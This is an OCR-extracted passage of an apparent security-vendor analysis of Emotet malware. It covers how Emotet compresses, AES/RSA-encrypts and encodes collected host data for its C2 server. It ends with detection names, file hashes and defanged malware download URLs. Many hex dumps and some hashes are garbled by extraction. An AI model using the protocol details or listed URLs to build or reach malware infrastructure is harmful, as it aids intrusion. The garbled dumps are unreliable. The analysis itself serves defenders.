000000F0 e, VGAuthService, .
00000100 exe,explorer.exs .
00000110 dwm.exe,taskhos
00000120 E.exe, spoolav. ex
00000130 e, vmacthlp.exe, 3
00000140 rchost.exe,lsm. o
00000150 xe,lsass.exe, sex
00000160 rices . axe,winlog
00000170 on.exe, wininitc.
00000180 Ke,csrss.exe, sms
00000190 B.exe,|: .
[] Magic number, indicating meaning of the following data
— Length of the following data
Offset(h): 2A Block(h): 2A4-195 Length(h): 16C Overwrite

Figure 15. The structure of the gathered data

Next, the gathered data is compressed with the Deflate algorithm.
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Offset(h) 00 01 02 03 04 OS5 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000
00000010
00000020
00000020
00000040
00000050
Q00000 ED
00000070
Q0000080
00000080
000000AD
00000080
000000C0
coooo0Do
000000ED
=Relelilale] go]
00000100

Az.,".0F! *,OGFR:
.o (B P08E. 8" .17
Af.. "tk RE». .
Wb, "V, e+kls.OL
zisght.<. vy

encoded data with Deflate algorithm

T lsmgth of emosdisd divts, (e << 7) o (0B & GeqF) = Edlos

Offsetih): 5 Bleck{h): 5-10A Lengthih): 106 Orwerwrite

Figure 16. The data compressed using the Deflate algorithm

Next, the malware encrypts the compressed data in Figure 16 with a session key, and packs the session key (AES),
that is encrypted using an RSA public key, along with a hash value and the encrypted data, into the following
structure.

Offsec(h) 00 01 02 03 04 05 06 O7 OB 09 QA OB OC OD OE OF Decoded text
00000000 7 3B B0 D5 35 04 02 46 A6 22 FC 20 E4 4A 5B] .7:€05..Fi™u &J[

00000010 D6 44 70 1E 00 A4 FA 08 D2 BE 12 C1 BA 56| tid The esssion Uy (AS) enapied by RSA puble ey
00000020 8B EC EE 69 BB 00 E9 AB 78 DC 2E A5 E6 7D 14, baxll. ¥e)
00000030 F6 4A E7 82 46 DC 67 9C A6 AC EB 40 85 2B| JesJdg, Flige!-de +
00000040 E8 B1 7D D1 BE 99 BB 14 C& 5C 9E 21 F2 64| .1éx}fii=w».BEEidd
7 c 2 1 C s
ggggggzg 61 1D 57 F0 C9 2C C1 32 F9 3D 2F A1 19 2 W"ﬁ!\'-_m!—b Hash value(0x14 bytes)
00000070 D 10 i
00000080
00000090
000000A0
00000080 :1q.*&3p” $0E
000000C0 "v81-0ps. @t v
000000D0 woaAixl . ™1588)
000000EQ s, €611"K. Jofla".
000000F0 ? BSA[a.xy5" i: he grithered dats enanpisd by sesston by
00000100 qrBd.e|§ £9.. ’,1;'
00000110 ..@=&"5Q. 1B,
00000120 .b.iAQEN&BE-~1
00000130
00000140
00000150
00000160
00000170
00000180

Figure 17. The packed data structure

The size of the session key encrypted by RSA public key is 0x60 in bytes. The size of the hash value is 0x14.
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After packing these three data elements, the malware continues to encode the packed data with Base64, and then

encodes it with a URL encoding algorithm. It finally forms the http body data that will be sent to the C2 server.

Offsec(h) 00 01 02 03 04 05 06 07 08 0% OA 0B OC 0D OE OF Decoded text

00000000 Suvpl jeTg
00000010 1BAhGpiLETORKEW3
00000020 1 kRwHgCkY2Bg3s:
Q00000030 hLBulblmY¥wvsTmmT
00000040 DmreNwupeZ95ovd
00000050 peCRtxnnEasEEC
00000060 Wwx ELFI0YEZuxTG
00000070 T4hEBmRFOGEAVRZF
Q0000080 JLMEy&2BTO0voRks
Q00000080 £ T8JrpNT TORVEZF,
000000A0 c9FaMi JricVEgP3
Q00000B0 pak5J1cOX93IDGEXW!
000000C0 DECQgeWWPREQY 2B
00000000 BEEQRgILgMPVVYSE
000000E0 pemlRy LITgvyJz \
ooooooro EEAULpa ThIBMAR!
00000100 ma“ﬁm,mc,m URLEncode(Base64Encode(packed_data))
Q0000110 Fujtéaavsawiona
00000120 W1vSTEKECSzF120
00000130 GDONW2FATRIEkJLp
00000140 ZTyfEdSqnisa4bl
00000150 EsHSpzRq69Julbg
00000160 EDWZEYeP01k2 ki
Q0000170 qRxct SkBWVEN 2 FS]
00000180 muhcIdpzGiwphld
Q00000190 BmomkBA2 FrLouQh
0000010 ZFleRBiHWLBUYSY
00000180 g2 LazMwXBUtRRe
000001C0 AULEImiRWQA T ox
00000100 peXSATHCTEIPZ 6W
Q000001ED raixGl400CmxPch
000001FO ASVUCaSzJrCgWPF
00000200 gEUL2BBqmR3TOE
00000210 peJePvggezuEiNy.
00000220 WLCFj1pDEIQ% 3D

Figure 18. The HTTP body data

We have now finished the deep analysis of the data encryption algorithm of the Emotet malware in

communication with C2 servers.

For the other half of this communication, where the program has to handle the response data from the C2 server, it

first decrypts the HTTP response data and the decodes the corresponding data with Deflate algorithm.

Additionally, the RSA key is hard-coded at offset 0x0040FBFO in the unpacked program as DER Encoding of
ASN.1. Its size is 0x6A in bytes.

DOF0IF3E L] PUSh eax
Q0401F 39 56 push esi
O0401F3A 68 00800000 push 5000
QO401F 3F 6A push €
B0401F 41 68 FOFE4000
DO401F 48 B 13 P

JO401F 48 (3]

Q0401F53 850 iR,
00401F55 v 74 28 je 401F7F

sessssssnssssBEssEREBES

00401F57 65 34244100 push 412494
A O0D401FSC 56 push esi
| 00401F5D 56 push esi
' 00401FSE FF?S FB push dword ptr ss: ebp-sl [ebp-8]:L"--cE857 361"
i O0401F 61 FF7S FC push dword ptr ss:febp-4
H 00401F 64 FF35 30244100 ush dword ptr dsi[412490]
H 00401FEA FF15 CCOL4100 h aword ptr ds: [eac Importkeys]
: 00D401F70 FF7§ FC push aword ptr ss:feop-3
! 00401F73 88F0 MoV €51, eax
i 00401F75 FF15 00064100 EEl oword ptr ds:[<&LocalFrees]
G0401FTE B5F% 1est esi,esi
00401F 7D v 75 OF jne 401FSD

QO403F7F 64 00
4

518
FBic
0012FB20

&L "--cEBETIEL"

Q01CITFE L"--C6857361"
DO401FAF return To 00401FAF from 777
Q0L2FE35 | ODA2FEE4

o012FE3C

0040FCB0/90 BO &F 16/10 31 46 45|12 FC #B aclic 24 B Eol|.wollaFE.0iL.swkl 0 || ROIZEESC [[OD4DIFRET FEturn to 0040LFET from 00401F10

Figure 19. The hard-coded RSA key in DER format
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0x06 Solution

This malicious Word document has been detected as “VBA/Agent. NRN!tr.dldr”, and the payload file has been
detected as “W32/Kryptik.GSJJ!tr” by the FortiGuard AntiVirus service.

Fortinet has also developed an IPS signature named “Emotet.Botnet” to detect the traffic between the C2 server

and the infected machine.

The URLSs used to download Emotet have been rated as “Malicious Websites” by the FortiGuard WebFilter

service.

0x07 Conclusion

Emotet is a sophisticated malware that uses an advanced custom packer and complicated encryption algorithm to
communicate with its C2 server, as well as other advanced functionalities. It could retrieve attack payload or other
related malware payloads from C2 servers. Those attack payloads are designed to steal sensitive data from the

victim.
We will continue to monitor the activities between Emotet and its C2 servers.

In the next blog, I will document some interesting research regarding how to programmatically unpack the Emotet
executable and extract the hard-coded C2 server list and RSA key from the executable. My goal is to help
researchers quickly identify traffic from Emotet, as well as save more time on reverse engineering. You’re

welcome to stay tuned!

Reference

SHA256 Hash:

45b3a138f08570ca324abd24b4cc18fc7671a6b064817670f4c85c12cfc1218f(Word document)
30bb20ed402afe7585bae4689f75e0e90e6d6580a229042c3a51eecefc153db7(1n592ynn2ys9gg0.exe)
2c9b8ed7cb7ce9b49579453283292ddf478c6ab2953b66c27aac8dfc84c6fb2b(s9cbyx.exe)
21145645cac74e0b590813eafd257a2c4af6c6be0bc86d873ad0e6c005c0911d(p4x10bbb85.exe)
21145645cac74e0b590813eafd257a2c4af6c6beO0bc86d873ad0e6c005c0911d(itsportal.exe)

URLs:

hxxp://webaphobial.]Jcom/images/72Ca/
hxxps://montalegrense[.]graficosassociados.com/keywords/FOYo/
hxxp://purimaro[.]com/1/ww/
hxxp://jpmtech[.]Jcom/css/GOOvqd/
hxxp://118.89.215.166/wp-includes/15/

Learn more about FortiGuard Labs and the FortiGuard Security Services portfolio. Sign up for our weekly

FortiGuard Threat Brief.

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.
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